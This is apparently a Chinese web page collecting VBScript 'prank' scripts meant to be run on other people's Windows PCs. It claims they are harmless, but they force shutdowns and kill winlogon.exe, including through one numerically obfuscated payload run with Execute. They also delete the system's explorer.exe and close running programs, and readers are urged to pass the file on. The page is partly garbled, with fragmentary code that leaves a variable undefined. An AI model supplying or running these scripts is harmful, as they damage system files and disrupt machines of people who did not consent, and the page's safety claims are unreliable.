整人代码大全(三十二个vbs整蛊代码)

恶作剧的vbs代码,这里提供的都是一些死循环或导致系统死机的vbs对机器没坏处,最多关机重启一下就可以了,将下面的任意一段代码保存为*.vbs即可
操作方法:把代码保存为*.VBS运行即可经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,可以通过任务管理器中结束WSCRIPT或cscript进程即可 。复制代码代码如下:
do msgbox "hi" loop【整人代码大全(三十二个vbs整蛊代码)】无限制的用英文报数复制代码代码如下:
Set s = CreateObject("sapi.spvoice") i=0 do s.speak i i=i+1 loop复制代码代码如下:
if MsgBox("对不起,您灌水太多需要重新启动计算机 。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then msgbox " 系统将立刻重启wow ~_^",,"你上当了!!" Set objShell = CreateObject("Wscript.Shell") objShell.Run "shutdown -s -t 5",,true end if复制代码代码如下:
strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10) for i=1 to UBound(strs) runner=runner&chr(strs(i)) next Execute runner这个没什么,不过加密了,大家可以解密试试
复制代码代码如下:
if MsgBox("你是猪头吗?",vbYesNo,"提示")=vbyes then msgbox "你SB啊!" else msgbox "还不承认!! 作为惩罚,蓝屏一下,你马上挂了#¥!@#¥%@……#……?",64,"严重警告!!!!!!!!!" Set ws = CreateObject("Wscript.Shell") wscript.sleep 1200 ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide end if复制代码代码如下:
Set ws = CreateObject("Wscript.Shell") ws.run "cmd.exe /c call calc.exe",0下面的是删除explorer.exe,导致桌面没有显示,不过它事先帮你备份了,为同目录下的explorer.Data复制代码代码如下:
set ws=CreateObject("Wscript.Shell") ws.run "cmd.exe /c taskkill /f /im explorer.exe",0 wscript.sleep 900 ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data" wscript.sleep 1200 ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:
for each wind in verybat ws.sendkeys wind wscript.sleep 500 next ws.popup"唉:-(( ⊙ o ⊙ )!呀,我好累啊,我下了 886",30 ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8 ws.run "taskkill /f /im qq.exe" ws.popup"你还要上吧 慢慢玩哦",27 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") for d=0 to 4 WSHshell.SendKeys "%{F4}" next ws.run"shutdown -s -t 1000600" wscript.sleep 2000 dim a do a=inputbox("请输入解除关机密码") if a="403746401" then ws.run"shutdown -a" msgbox"密码验证成功,enjoy the best!" exit do else msgbox"密码验证失败,请输入解除关机密码:403746401 ",vbretrycancel end if loop ws.popup"哈哈 被吓到了吧 好玩吧?你以为真的是病毒?呵呵O(∩_∩)O~,我还没那么大本事能做出病毒来!",57 ws.popup"(\(^o^)/~ 好啦,跟你开了个小小玩笑 。你也可以把这个文件发给其他人,耍耍别人 。呵呵^_^",62 wscript.sleep 8900 do until i=10 i=i+1 msgbox "CPU温度过高,系统出现严重错误!,请结束所有应用程序让CPU降温!",16+4096,"系统提示:" wscript.sleep 1000*45 loop 关机